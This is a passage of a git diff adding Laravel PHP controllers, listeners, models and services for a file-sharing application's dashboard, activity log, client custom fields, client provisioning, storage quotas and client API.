]; + })->all()); + } + + /** + * The 10 soonest-expired files still awaiting the daily purge, plus + * enough context (is auto-delete even on, when does the job next run) + * for the widget to explain what's about to happen to them. + * + * @return array{count: int, files: list, auto_delete_enabled: bool, next_run_at: string} + */ + private function expiredFiles(User $viewer): array + { + // Same coarse gate largestFiles() uses for its edit links. + $canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files'); + + return [ + 'count' => File::query()->expired()->count(), + 'files' => array_values(File::query()->expired()->orderBy('expires_at')->limit(10) + ->get(['id', 'name', 'expires_at']) + ->map(fn (File $file): array => [ + 'id' => $file->id, + 'name' => $file->name, + 'expires_at' => $file->expires_at?->toIso8601String(), + 'edit_url' => $canFiles ? route('files.edit', $file->id, false) : null, + ])->all()), + 'auto_delete_enabled' => (bool) $this->settings->get(Setting::ExpiredFilesAutoDeleteEnabled), + // Schedule::command('projectsend:purge-expired-files')->daily() + // runs at 00:00 — always "tonight" from whenever this loads. + 'next_run_at' => now()->copy()->startOfDay()->addDay()->toIso8601String(), + ]; + } + + /** + * @return array> + */ + private function recentActivity(): array + { + return ActivityLog::query() + ->orderByDesc('created_at') + ->orderByDesc('id') + ->limit(8) + ->get() + ->map(fn (ActivityLog $entry): array => [ + 'id' => $entry->id, + 'created_at' => $entry->created_at->toIso8601String(), + 'actor_name' => $entry->actor_name, + 'actor_type' => $entry->actor_type, + 'template' => $entry->action->template(), + 'replacements' => [ + 'subject' => $entry->subject_name + ?? ($entry->subject_id !== null ? __('(deleted account)') : ''), + ...collect($entry->context ?? []) + ->filter(fn ($value): bool => is_scalar($value)) + ->map(fn ($value): string => (string) $value) + ->all(), + ], + ])->all(); + } + + /** + * @return array|null> + */ + private function systemInfo(): array + { + $freeBytes = @disk_free_space(storage_path('app/files')); + + // Cached by CheckForUpdatesCommand (daily) — never a live HTTP + // call from the request path. null means either no successful + // check yet, or the current version is already the latest. + $release = $this->latestRelease->current(); + + return [ + ...$this->environment->toArray(), + 'storage_used_bytes' => (int) File::query()->sum('size'), + 'storage_free_bytes' => $freeBytes === false ? -1 : (int) $freeBytes, + 'update_available' => $release !== null, + 'latest_version' => $release['version'] ?? null, + 'release_url' => $release['url'] ?? null, + // Null unless this is a container whose uploads still go to the + // local disk — see StorageDurability. + 'storage_durability' => $this->storageDurability->inspect(), + // Decides which upgrade instructions the card prints — see + // Installation. Always present, unlike storage_durability, which + // is null whenever the durability question does not apply. + 'install_kind' => $this->installation->kind()->value, + ]; + } + + private function clientDashboard(User $client): Response + { + $assignedFiles = File::query()->whereHas('assignments', function ($query) use ($client): void { + $query->where(function ($direct) use ($client): void { + $direct->where('assignable_type', User::class)->where('assignable_id', $client->id); + })->orWhere(function ($viaGroup) use ($client): void { + $viaGroup->where('assignable_type', Group::class) + ->whereIn('assignable_id', $client->memberOfGroups()->pluck('groups.id')); + }); + }); + + return Inertia::render('portal/dashboard', [ + 'files_count' => (clone $assignedFiles)->count(), + 'groups_count' => $client->memberOfGroups()->where('public', true)->count(), + 'storage' => [ + 'used_bytes' => $this->storageUsage->usedBytes($client), + 'quota_bytes' => $this->storageUsage->quotaBytes($client) ?: null, + ], + 'latest_files' => $assignedFiles->orderByDesc('created_at')->limit(5)->get() + ->map(fn (File $file): array => [ + 'id' => $file->id, + 'name' => $file->name, + 'size' => $file->size, + 'created_at' => $file->created_at?->toIso8601String(), + ])->all(), + ]); + } +} diff --git a/app/Modules/Audit/Http/Controllers/DashboardWidgetPreferencesController.php b/app/Modules/Audit/Http/Controllers/DashboardWidgetPreferencesController.php new file mode 100644 index 00000000..e94a5725 --- /dev/null +++ b/app/Modules/Audit/Http/Controllers/DashboardWidgetPreferencesController.php @@ -0,0 +1,70 @@ +user(); + assert($user !== null); + + $validated = $request->validate([ + 'columns' => ['required', 'integer', 'between:1,4'], + 'widgets' => ['required', 'array'], + 'widgets.*.widget_key' => ['required', 'string', Rule::in(self::WIDGET_KEYS)], + 'widgets.*.enabled' => ['required', 'boolean'], + 'widgets.*.column_index' => ['required', 'integer', 'between:0,3'], + 'widgets.*.position' => ['required', 'integer', 'min:0'], + ]); + + foreach ($validated['widgets'] as $widget) { + DashboardWidgetPreference::query()->updateOrCreate( + ['user_id' => $user->id, 'widget_key' => $widget['widget_key']], + [ + 'enabled' => $widget['enabled'], + 'column_index' => $widget['column_index'], + 'position' => $widget['position'], + ], + ); + } + + $user->update(['dashboard_columns' => $validated['columns']]); + + return back(); + } +} diff --git a/app/Modules/Audit/Http/Controllers/DownloadsController.php b/app/Modules/Audit/Http/Controllers/DownloadsController.php new file mode 100644 index 00000000..91059f1b --- /dev/null +++ b/app/Modules/Audit/Http/Controllers/DownloadsController.php @@ -0,0 +1,68 @@ +user(); + assert($viewer !== null); + + // A download row names the file and says who fetched it from which + // IP, so it needs the viewer's library scope applied — not just + // `view_actions_log`. See ActivityLogScope for the full reasoning. + $entries = $this->scope + ->apply(ActivityLog::query(), $viewer) + ->where('subject_type', (new File)->getMorphClass()) + ->whereIn('action', [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded]) + ->orderByDesc('created_at') + ->orderByDesc('id') + ->paginate(25) + ->withQueryString(); + + $canOpenFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files'); + + // Openable, not merely existing — the scope decides, so a row never + // links to a file the viewer would be refused. + $openableFileIds = $this->scope->openableFileIds($viewer, $entries->getCollection()->pluck('subject_id')); + + return Inertia::render('activity/downloads', [ + 'entries' => $entries->getCollection()->map(function (ActivityLog $entry) use ($openableFileIds, $canOpenFiles): array { + $openable = $entry->subject_id !== null && isset($openableFileIds[$entry->subject_id]); + + return [ + ...$this->presenter->present($entry), + 'file_name' => $entry->subject_name ?? __('(deleted file)'), + 'file_url' => $openable && $canOpenFiles ? route('files.edit', $entry->subject_id, false) : null, + ]; + })->all(), + 'pagination' => Pagination::meta($entries), + ]); + } +} diff --git a/app/Modules/Audit/Listeners/LogAuthenticationActivity.php b/app/Modules/Audit/Listeners/LogAuthenticationActivity.php new file mode 100644 index 00000000..174db3a5 --- /dev/null +++ b/app/Modules/Audit/Listeners/LogAuthenticationActivity.php @@ -0,0 +1,44 @@ +user instanceof User) { + $this->activity->log(Action::Login, $event->user); + } + } + + public function handleLogout(Logout $event): void + { + if ($event->user instanceof User) { + $this->activity->log(Action::Logout, $event->user); + } + } + + /** + * @return array + */ + public function subscribe(Dispatcher $events): array + { + return [ + Login::class => 'handleLogin', + Logout::class => 'handleLogout', + ]; + } +} diff --git a/app/Modules/Audit/Listeners/LogCustomAssetActivity.php b/app/Modules/Audit/Listeners/LogCustomAssetActivity.php new file mode 100644 index 00000000..78cf35ed --- /dev/null +++ b/app/Modules/Audit/Listeners/LogCustomAssetActivity.php @@ -0,0 +1,72 @@ +activity->log(Action::CustomAssetCreated, $this->actor($event->actor), $event->asset); + } + + public function handleUpdated(CustomAssetUpdated $event): void + { + $this->activity->log(Action::CustomAssetUpdated, $this->actor($event->actor), $event->asset); + } + + public function handleToggled(CustomAssetToggled $event): void + { + $this->activity->log( + $event->enabled ? Action::CustomAssetEnabled : Action::CustomAssetDisabled, + $this->actor($event->actor), + $event->asset, + ); + } + + public function handleDeleted(CustomAssetDeleted $event): void + { + $this->activity->log(Action::CustomAssetDeleted, $this->actor($event->actor), context: ['name' => $event->assetTitle]); + } + + private function actor(?Authenticatable $actor): ?User + { + return $actor instanceof User ? $actor : null; + } + + /** + * @return array + */ + public function subscribe(Dispatcher $events): array + { + return [ + CustomAssetCreated::class => 'handleCreated', + CustomAssetUpdated::class => 'handleUpdated', + CustomAssetToggled::class => 'handleToggled', + CustomAssetDeleted::class => 'handleDeleted', + ]; + } +} diff --git a/app/Modules/Audit/Models/DashboardWidgetPreference.php b/app/Modules/Audit/Models/DashboardWidgetPreference.php new file mode 100644 index 00000000..35e7b742 --- /dev/null +++ b/app/Modules/Audit/Models/DashboardWidgetPreference.php @@ -0,0 +1,46 @@ + 'bool', + 'column_index' => 'integer', + 'position' => 'integer', + ]; + } + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } +} diff --git a/app/Modules/Clients/ClientCustomFieldType.php b/app/Modules/Clients/ClientCustomFieldType.php new file mode 100644 index 00000000..722b1b60 --- /dev/null +++ b/app/Modules/Clients/ClientCustomFieldType.php @@ -0,0 +1,18 @@ + + */ + public function fieldsFor(ClientFieldContext $context): Collection + { + return ClientCustomField::query() + ->where('client_editability', '!=', ClientFieldEditability::Hidden->value) + ->whereJsonContains('client_contexts', $context->value) + ->orderBy('sort_order') + ->orderBy('id') + ->get(); + } + + /** + * @return list> + */ + public function rows(ClientFieldContext $context, ?User $client): array + { + $values = $this->storedValues($client); + $rows = []; + + foreach ($this->fieldsFor($context) as $field) { + $rows[] = [ + 'id' => $field->id, + 'label' => $field->label, + 'type' => $field->type->value, + 'options' => $field->options, + 'required' => $field->required, + 'locked' => $this->isLocked($field, $values), + ]; + } + + return $rows; + } + + /** + * Keyed by field id — PHP normalizes the numeric string key back to an + * int, same as every other numeric-keyed array in this class. + * + * @return array + */ + public function values(ClientFieldContext $context, ?User $client): array + { + if ($client === null) { + return []; + } + + $values = $this->storedValues($client); + $rows = []; + + foreach ($this->fieldsFor($context) as $field) { + $rows[$field->id] = $values->get($field->id, ''); + } + + return $rows; + } + + /** + * @return array> + */ + public function rules(ClientFieldContext $context, ?User $client): array + { + $values = $this->storedValues($client); + $rules = []; + + foreach ($this->fieldsFor($context) as $field) { + if ($this->isLocked($field, $values)) { + continue; + } + + $key = "custom_field_values.{$field->id}"; + + if ($field->type === ClientCustomFieldType::Checkbox) { + // Unlike the admin-side rules, a required checkbox here + // must actually be checked — "required" alone doesn't + // enforce that (a '0' string satisfies it). + $rules[$key] = $field->required ? ['accepted'] : ['nullable', 'boolean']; + + continue; + } + + $rules[$key] = [$field->required ? 'required' : 'nullable', 'string', 'max:2000']; + + if ($field->type === ClientCustomFieldType::Select && is_array($field->options)) { + $rules[$key][] = Rule::in($field->options); + } + } + + return $rules; + } + + /** + * @param array $submitted field id => submitted value + */ + public function save(User $client, ClientFieldContext $context, array $submitted): void + { + $values = $this->storedValues($client); + + foreach ($this->fieldsFor($context) as $field) { + if ($this->isLocked($field, $values)) { + continue; + } + + $value = $submitted[$field->id] ?? null; + $stored = $field->type === ClientCustomFieldType::Checkbox + ? ($value ? '1' : '0') + : (is_string($value) ? $value : null); + + ClientCustomFieldValue::query()->updateOrCreate( + ['client_custom_field_id' => $field->id, 'user_id' => $client->id], + ['value' => $stored === '' ? null : $stored], + ); + } + } + + /** + * @return BaseCollection + */ + private function storedValues(?User $client): BaseCollection + { + if ($client === null) { + return collect(); + } + + return ClientCustomFieldValue::query() + ->where('user_id', $client->id) + ->pluck('value', 'client_custom_field_id'); + } + + /** + * @param BaseCollection $values + */ + private function isLocked(ClientCustomField $field, BaseCollection $values): bool + { + return $field->client_editability === ClientFieldEditability::EditableOnce + && filled($values->get($field->id)); + } +} diff --git a/app/Modules/Clients/ClientProvisioning.php b/app/Modules/Clients/ClientProvisioning.php new file mode 100644 index 00000000..05e3d5e2 --- /dev/null +++ b/app/Modules/Clients/ClientProvisioning.php @@ -0,0 +1,133 @@ +settings->get(Setting::ClientsAutoApprove) === true; + } + + /** + * @param bool|null $autoApprove Null asks Setting::ClientsAutoApprove, + * which is the right question for the + * public registration form. A caller + * that has already established who + * somebody is — LDAP, an identity + * provider — passes its own answer + * instead. + * @param array $context Placeholders for the action's + * log template, e.g. which + * provider an account came from. + */ + public function provision( + string $name, + string $email, + string $password, + Action $action, + AuthSource $source = AuthSource::Local, + ?string $ldapDn = null, + ?bool $autoApprove = null, + array $context = [], + ): User { + $autoApprove ??= $this->autoApproves(); + + $client = User::create([ + 'type' => UserType::Client, + 'active' => $autoApprove, + 'account_requested' => ! $autoApprove, + 'role_id' => Role::query()->where('name', SystemRole::Client->value)->value('id'), + 'name' => $name, + 'email' => $email, + 'password' => $password, + ]); + + // Not mass-assignable: where an account's credentials live is a + // security decision, not an attribute a form may set. + if ($source !== AuthSource::Local || $ldapDn !== null) { + $client->forceFill([ + 'auth_source' => $source, + 'ldap_dn' => $ldapDn, + 'ldap_synced_at' => $ldapDn === null ? null : now(), + ])->save(); + } + + $this->activity->log($action, $client, $client, $context); + + $this->joinAutoGroup($client); + $this->notifyAdministrators($client, pending: ! $autoApprove); + + return $client; + } + + /** + * The group every self-provisioned client joins, if one is configured. + * Direct membership, no approval — an administrator chose this in + * settings. + */ + private function joinAutoGroup(User $client): void + { + $autoGroupId = (int) $this->settings->get(Setting::ClientsAutoGroup); + + if ($autoGroupId <= 0) { + return; + } + + $group = Group::query()->find($autoGroupId); + + $group?->members()->syncWithoutDetaching([$client->id]); + } + + private function notifyAdministrators(User $client, bool $pending): void + { + if ($this->settings->get(Setting::EmailNotificationsEnabled) !== true) { + return; + } + + $addresses = $this->settings->get(Setting::AdminNotificationEmails); + + foreach (is_array($addresses) ? $addresses : [] as $address) { + Notification::route('mail', $address)->notify( + new AdminClientRegisteredNotification($client->name, $client->email, $pending) + ); + } + } +} diff --git a/app/Modules/Clients/ClientStorageUsage.php b/app/Modules/Clients/ClientStorageUsage.php new file mode 100644 index 00000000..db9eaf0f --- /dev/null +++ b/app/Modules/Clients/ClientStorageUsage.php @@ -0,0 +1,62 @@ +where('uploaded_by', $client->id)->sum('size'); + } + + /** + * A client's own storage_quota_mb of 0 means "no custom quota set" — + * it inherits Setting::DefaultClientStorageQuotaMb instead of being + * unlimited, so a site-wide default (once set) also protects clients + * who never got an explicit quota, including self-registered ones. + * The site default itself being 0 is what actually means unlimited. + * + * @return int 0 means unlimited. + */ + public function quotaMb(User $client): int + { + return $client->storage_quota_mb > 0 + ? $client->storage_quota_mb + : (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb); + } + + /** + * @return int 0 means unlimited. + */ + public function quotaBytes(User $client): int + { + return $this->quotaMb($client) * 1024 * 1024; + } + + /** + * @return int|null Null means unlimited. + */ + public function remainingBytes(User $client): ?int + { + $quota = $this->quotaBytes($client); + + return $quota === 0 ? null : max(0, $quota - $this->usedBytes($client)); + } +} diff --git a/app/Modules/Clients/Http/Controllers/AccountRequestsController.php b/app/Modules/Clients/Http/Controllers/AccountRequestsController.php new file mode 100644 index 00000000..158ce4c7 --- /dev/null +++ b/app/Modules/Clients/Http/Controllers/AccountRequestsController.php @@ -0,0 +1,105 @@ +validate([ + 'search' => ['nullable', 'string', 'max:255'], + ]); + + $filters = ['search' => $validated['search'] ?? null]; + + $requests = User::query() + ->where('type', UserType::Client) + ->where('account_requested', true) + ->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q + ->where('name', 'like', "%{$search}%") + ->orWhere('email', 'like', "%{$search}%"))) + ->orderBy('created_at') + ->paginate(25) + ->withQueryString() + ->through(fn (User $client): array => [ + 'id' => $client->id, + 'name' => $client->name, + 'email' => $client->email, + 'created_at' => $client->created_at?->toIso8601String(), + ]); + + return Inertia::render('clients/requests', [ + 'requests' => $requests->items(), + 'pagination' => Pagination::meta($requests), + 'filters' => $filters, + ]); + } + + public function approve(User $client): RedirectResponse + { + abort_unless($client->isClient() && $client->account_requested, 404); + + $client->forceFill([ + 'active' => true, + 'account_requested' => false, + ])->save(); + + $this->activity->log(Action::ClientApproved, subject: $client); + + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $client->notify(new ClientAccountApprovedNotification); + } + + return back()->with('success', __('Account request approved.')); + } + + public function deny(User $client): RedirectResponse + { + abort_unless($client->isClient() && $client->account_requested, 404); + + $name = $client->name; + $email = $client->email; + $locale = $client->locale; + // A denied request is removed outright (not soft-deleted) so the + // person can register again with the same email address. + $client->forceDelete(); + + $this->activity->log(Action::ClientDenied, context: ['name' => $name]); + + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + Notification::route('mail', $email)->notify( + (new ClientAccountDeniedNotification($name))->locale($locale ?? app()->getLocale()) + ); + } + + return back()->with('success', __('Account request denied.')); + } +} diff --git a/app/Modules/Clients/Http/Controllers/Api/ClientsController.php b/app/Modules/Clients/Http/Controllers/Api/ClientsController.php new file mode 100644 index 00000000..919ebf1d --- /dev/null +++ b/app/Modules/Clients/Http/Controllers/Api/ClientsController.php @@ -0,0 +1,333 @@ +isClient(), 404)` on each single-client route mirrors the web + * controller: a staff account is not addressable through this surface even + * by id. + * + * Validation rules, custom-field handling and the deletion flow are the + * web controller's, reused or mirrored field for field — a client created + * through the API must be indistinguishable from one created in the UI. + */ +class ClientsController extends Controller +{ + public function __construct( + private readonly PollingQuery $polling, + private readonly ActivityLogger $activity, + private readonly Settings $settings, + private readonly ClientStorageUsage $storageUsage, + private readonly DeletedAccountContent $accountContent, + private readonly AccountContentDeletion $accountDeletion, + ) {} + + public function index(Request $request): AnonymousResourceCollection + { + $filters = $request->validate($this->polling->rules() + [ + 'search' => ['nullable', 'string', 'max:255'], + 'status' => ['nullable', Rule::in(['active', 'inactive'])], + ]); + + $query = User::query()->where('type', UserType::Client); + + if (($filters['search'] ?? null) !== null) { + $search = $filters['search']; + $query->where(fn (Builder $inner) => $inner + ->where('name', 'like', "%{$search}%") + ->orWhere('email', 'like', "%{$search}%")); + } + + if (($filters['status'] ?? null) !== null) { + $query->where('active', $filters['status'] === 'active'); + } + + return ClientResource::collection($this->polling->paginate($request, $query, 'users')); + } + + public function show(User $client): ClientResource + { + abort_unless($client->isClient(), 404); + + return $this->resourceFor($client); + } + + public function store(Request $request): JsonResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'], + // No `confirmed`: repeating a password is a defence against a + // human mistyping into a form, and an API caller has no second + // field to mistype. This installation's password policy still + // applies — a minimum length, and optionally a check against + // known breaches. Both are configured under Settings → + // Security, so read them from there rather than assuming the + // defaults; a password this endpoint accepts on one + // installation may be refused on another. + 'password' => ['required', Password::defaults()], + 'storage_quota_mb' => ['nullable', 'integer', 'min:0'], + 'custom_field_values' => ['array'], + ]); + + $validated['custom_field_values'] = $this->validateCustomFieldValues($request); + + $client = User::create([ + 'type' => UserType::Client, + 'active' => true, + 'account_requested' => false, + 'role_id' => Role::query()->where('name', SystemRole::Client->value)->value('id'), + 'name' => $validated['name'], + 'email' => $validated['email'], + 'password' => $validated['password'], + // 0 means "no custom quota" and inherits the site default at + // enforcement time — see ClientStorageUsage::quotaMb(). + 'storage_quota_mb' => $validated['storage_quota_mb'] ?? 0, + 'email_verified_at' => now(), + ]); + + $this->activity->log(Action::UserCreated, subject: $client); + + $this->saveCustomFieldValues($client, $validated['custom_field_values'] ?? []); + + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $client->notify(new ClientWelcomeNotification); + } + + return $this->resourceFor($client->refresh())->response()->setStatusCode(201); + } + + public function update(Request $request, User $client): ClientResource + { + abort_unless($client->isClient(), 404); + + $validated = $request->validate([ + 'name' => ['sometimes', 'string', 'max:255'], + 'email' => ['sometimes', 'string', 'lowercase', 'email', 'max:255', Rule::unique('users', 'email')->ignore($client->id)], + 'active' => ['sometimes', 'boolean'], + 'password' => ['sometimes', 'nullable', Password::defaults()], + 'storage_quota_mb' => ['sometimes', 'nullable', 'integer', 'min:0'], + 'custom_field_values' => ['sometimes', 'array'], + ]); + + if ($request->has('custom_field_values')) { + $validated['custom_field_values'] = $this->validateCustomFieldValues($request, required: false); + } + + $wasActive = $client->active; + $passwordChanged = is_string($validated['password'] ?? null) && $validated['password'] !== ''; + + // PATCH semantics, unlike the web form which always submits every + // field: an absent key means "leave alone", not "clear". + $client->fill(array_intersect_key($validated, array_flip(['name', 'email', 'active']))); + + if (array_key_exists('storage_quota_mb', $validated)) { + $client->storage_quota_mb = $validated['storage_quota_mb'] ?? 0; + } + + if (($validated['active'] ?? false) && $client->account_requested) { + $client->account_requested = false; + } + + if ($passwordChanged) { + $client->password = $validated['password']; + } + + $client->save(); + + if (array_key_exists('custom_field_values', $validated)) { + $this->saveCustomFieldValues($client, $validated['custom_field_values']); + } + + $this->activity->log(Action::UserUpdated, subject: $client); + + if ($wasActive && ! $client->active) { + $this->activity->log(Action::UserDeactivated, subject: $client); + } elseif (! $wasActive && $client->active) { + $this->activity->log(Action::UserActivated, subject: $client); + } + + if (($client->wasChanged(['name', 'email', 'active']) || $passwordChanged) + && $this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $client->notify(new ClientAccountEditedNotification); + } + + return $this->resourceFor($client->refresh()); + } + + /** + * Remove a client's two-factor authentication. + * + * The remedy for a locked-out account: a client whose authenticator + * app and recovery codes are both gone cannot sign in, and nobody else + * can open the account for them either. Afterwards they sign in with + * their password alone, and — if this installation enforces two-factor + * authentication for clients — are asked to enrol again on their next + * request. + * + * The client is emailed that this happened, and the action is recorded + * in the activity log against the caller. Answers 204 whether or not a + * second factor was actually in force. + */ + public function destroyTwoFactor(User $client, TwoFactorAdministration $twoFactor): JsonResponse + { + abort_unless($client->isClient(), 404); + + $twoFactor->reset($client); + + return response()->json(status: 204); + } + + /** + * Delete a client. + * + * If the client owns no files or folders, no body is needed. + * + * If they do, you must say what happens to that content: send + * `content_action` as either `cascade_delete` (delete it along with the + * account) or `reassign`, and in the latter case a `reassign_to_id` + * naming the active account that inherits it. Omitting the choice is a + * 422 — there is no default, because one would silently destroy a + * client's files and the other would silently hand them to somebody + * else. + * + * `GET /clients/{client}` reports the counts so you can decide before + * calling this. + */ + public function destroy(Request $request, User $client): JsonResponse + { + abort_unless($client->isClient(), 404); + + $validated = $this->accountDeletion->validate($request, $client); + + $name = $client->name; + $client->delete(); + + $this->activity->log(Action::UserDeleted, context: ['name' => $name]); + + $this->accountDeletion->apply($validated, $client, $name); + + return response()->json(status: 204); + } + + private function resourceFor(User $client): ClientResource + { + return ClientResource::detailed( + $client, + customFieldValues: ClientCustomFieldValue::query() + ->where('user_id', $client->id) + ->pluck('value', 'client_custom_field_id') + ->all(), + storage: $this->storageUsage, + content: $this->accountContent->summarize($client), + ); + } + + /** + * Validated separately from the main rule set, and deliberately so. + * + * The per-field rules are built by querying `client_custom_fields`, so + * they name this installation's actual field ids. Passing them to + * `$request->validate()` put those ids into the generated OpenAPI + * document — a document that is committed, served unauthenticated, and + * supposed to be identical on every install. It described one + * database's configuration and leaked which custom fields exist. + * + * The endpoint still validates exactly as before; only the shape the + * documentation generator can see has changed, to a plain object. + * + * @return array + */ + private function validateCustomFieldValues(Request $request, bool $required = true): array + { + $rules = $this->customFieldRules($required); + + if ($rules === []) { + return $request->input('custom_field_values', []); + } + + return Validator::make($request->all(), $rules)->validate()['custom_field_values'] ?? []; + } + + /** + * Mirrors ClientsController::customFieldRules(). On update the required + * flag is dropped, since PATCH may legitimately omit a field it is not + * changing — the value already stored satisfies the requirement. + * + * @return array> + */ + private function customFieldRules(bool $required = true): array + { + $rules = []; + + foreach (ClientCustomField::query()->get() as $field) { + $key = "custom_field_values.{$field->id}"; + + if ($field->type === ClientCustomFieldType::Checkbox) { + $rules[$key] = ['nullable', 'boolean']; + + continue; + } + + $rules[$key] = [$required && $field->required ? 'required' : 'nullable', 'string', 'max:2000']; + + if ($field->type === ClientCustomFieldType::Select && is_array($field->options)) { + $rules[$key][] = Rule::in($field->options); + } + } + + return $rules; + } + + /** + * @param array $values field id => submitted value + */ + private function saveCustomFieldValues(User $client, array $values): void + { + foreach (ClientCustomField::query()->get() as $field) { + $submitted = $values[$field->id] ?? null; + $value = $field->type === ClientCustomFieldType::Checkbox + ? ($submitted ? '1' : '0') + : (is_string($submitted) ? $submitted : null); + + ClientCustomFieldValue::query()->updateOrCreate( + ['client_custom_field_id' => $field->id, 'user_id' => $client->id], + ['value' => $value === '' ? null : $value], + ); + } + } +} diff --git a/app/Modules/Clients/Http/Controllers/ClientCustomFieldsController.php b/app/Modules/Clients/Http/Controllers/ClientCustomFieldsController.php new file mode 100644 index 00000000..4d33e89e --- /dev/null +++ b/app/Modules/Clients/Http/Controllers/ClientCustomFieldsController.php @@ -0,0 +1,174 @@ +validate(['search' => ['nullable', 'string', 'max:255']]); + $search = $validated['search'] ?? null; + + $fields = ClientCustomField::query() + ->when($search, fn (Builder $query, string $term) => $query->where('label', 'like', "%{$term}%")) + ->orderBy('sort_order') + ->orderBy('id') + ->get() + ->map(fn (ClientCustomField $field): array => $this->fieldRow($field)); + + return Inertia::render('clients/custom-fields/index', [ + 'fields' => $fields->all(), + 'filters' => ['search' => $search], + ]); + } + + public function create(): Response + { + return Inertia::render('clients/custom-fields/create', [ + 'types' => array_map(fn (ClientCustomFieldType $type): string => $type->value, ClientCustomFieldType::cases()), + ]); + } + + public function store(Request $request): RedirectResponse + { + $validated = $this->validated($request); + + $field = ClientCustomField::query()->create([ + 'name' => $this->uniqueName($validated['label']), + 'label' => $validated['label'], + 'type' => $validated['type'], + 'options' => $validated['options'] ?? null, + 'required' => $validated['required'], + 'sort_order' => (int) ClientCustomField::query()->max('sort_order') + 1, + 'client_editability' => $validated['client_editability'], + 'client_contexts' => $validated['client_editability'] === ClientFieldEditability::Hidden->value + ? null + : ($validated['client_contexts'] ?? []), + ]); + + $this->activity->log(Action::ClientCustomFieldCreated, subject: $field, context: ['name' => $field->label]); + + return redirect()->route('client-custom-fields.edit', $field)->with('success', __('Custom field created.')); + } + + public function edit(ClientCustomField $customField): Response + { + return Inertia::render('clients/custom-fields/edit', [ + 'field' => $this->fieldRow($customField), + 'types' => array_map(fn (ClientCustomFieldType $type): string => $type->value, ClientCustomFieldType::cases()), + ]); + } + + public function update(Request $request, ClientCustomField $customField): RedirectResponse + { + $validated = $this->validated($request); + + $customField->update([ + 'label' => $validated['label'], + 'type' => $validated['type'], + 'options' => $validated['options'] ?? null, + 'required' => $validated['required'], + 'client_editability' => $validated['client_editability'], + 'client_contexts' => $validated['client_editability'] === ClientFieldEditability::Hidden->value + ? null + : ($validated['client_contexts'] ?? []), + ]); + + $this->activity->log(Action::ClientCustomFieldUpdated, subject: $customField, context: ['name' => $customField->label]); + + return back()->with('success', __('Custom field updated.')); + } + + public function destroy(ClientCustomField $customField): RedirectResponse + { + $label = $customField->label; + $customField->delete(); + + $this->activity->log(Action::ClientCustomFieldDeleted, context: ['name' => $label]); + + return redirect()->route('client-custom-fields.index')->with('success', __('Custom field deleted.')); + } + + /** + * @return array{label: string, type: string, options: list|null, required: bool, client_editability: string, client_contexts: list|null} + */ + private function validated(Request $request): array + { + // Normalized up front so "required_unless" below has a real value + // to compare against even when the field is omitted entirely + // (omitting it means "hidden", same as explicitly selecting it). + $request->merge(['client_editability' => $request->input('client_editability') ?? ClientFieldEditability::Hidden->value]); + + return $request->validate([ + 'label' => ['required', 'string', 'max:255'], + 'type' => ['required', Rule::enum(ClientCustomFieldType::class)], + 'options' => ['nullable', 'array'], + 'options.*' => ['string', 'max:255'], + 'required' => ['required', 'boolean'], + 'client_editability' => ['required', Rule::enum(ClientFieldEditability::class)], + 'client_contexts' => ['array', 'required_unless:client_editability,'.ClientFieldEditability::Hidden->value], + 'client_contexts.*' => [Rule::enum(ClientFieldContext::class)], + ]); + } + + /** + * @return array + */ + private function fieldRow(ClientCustomField $field): array + { + return [ + 'id' => $field->id, + 'label' => $field->label, + 'type' => $field->type->value, + 'options' => $field->options, + 'required' => $field->required, + 'client_editability' => $field->client_editability->value, + 'client_contexts' => $field->client_contexts ?? [], + ]; + } + + /** + * Auto-derives a machine key from the label — the admin never types + * one directly, and it's never shown again after creation. + */ + private function uniqueName(string $label): string + { + $base = Str::slug($label, '_') ?: 'field'; + $name = $base; + $suffix = 2; + + while (ClientCustomField::query()->where('name', $name)->exists()) { + $name = "{$base}_{$suffix}"; + $suffix++; + } + + return $name; + } +} diff --git a/app/Modules/Clients/Http/Controllers/ClientSettingsController.php b/app/Modules/Clients/Http/Controllers/ClientSettingsController.php new file mode 100644 index 00000000..6d29e6f6 --- /dev/null +++ b/app/Modules/Clients/Http/Controllers/ClientSettingsController.php @@ -0,0 +1,63 @@ + $this->settings->get(Setting::ClientsCanRegister), + 'clients_auto_approve' => $this->settings->get(Setting::ClientsAutoApprove), + 'clients_auto_group' => $this->settings->get(Setting::ClientsAutoGroup), + 'clients_can_select_group' => $this->settings->get(Setting::ClientsCanSelectGroup), + 'clients_membership_deny_cooldown_days' => $this->settings->get(Setting::ClientsMembershipDenyCooldownDays), + 'default_client_storage_quota_mb' => (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb), + 'groups' => Group::query()->orderBy('name')->get() + ->map(fn (Group $group): array => ['id' => $group->id, 'name' => $group->name]) + ->all(), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'clients_can_register' => ['required', 'boolean'], + 'clients_auto_approve' => ['required', 'boolean'], + 'clients_auto_group' => ['required', 'integer', Rule::in([0, ...Group::query()->pluck('id')->all()])], + 'clients_can_select_group' => ['required', Rule::in(['none', 'public'])], + 'clients_membership_deny_cooldown_days' => ['required', 'integer', 'min:0', 'max:365'], + 'default_client_storage_quota_mb' => ['required', 'integer', 'min:0'], + ]); + + $this->settings->set(Setting::ClientsCanRegister, $validated['clients_can_register']); + $this->settings->set(Setting::ClientsAutoApprove, $validated['clients_auto_approve']); + $this->settings->set(Setting::ClientsAutoGroup, (int) $validated['clients_auto_group']); + $this->settings->set(Setting::ClientsCanSelectGroup, $validated['clients_can_select_group']); + $this->settings->set(Setting::ClientsMembershipDenyCooldownDays, (int) $validated['clients_membership_deny_cooldown_days']); + $this->settings->set(Setting::DefaultClientStorageQuotaMb, (int) $validated['default_client_storage_quota_mb']); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'clients']); + + return back(); + } +} diff --git 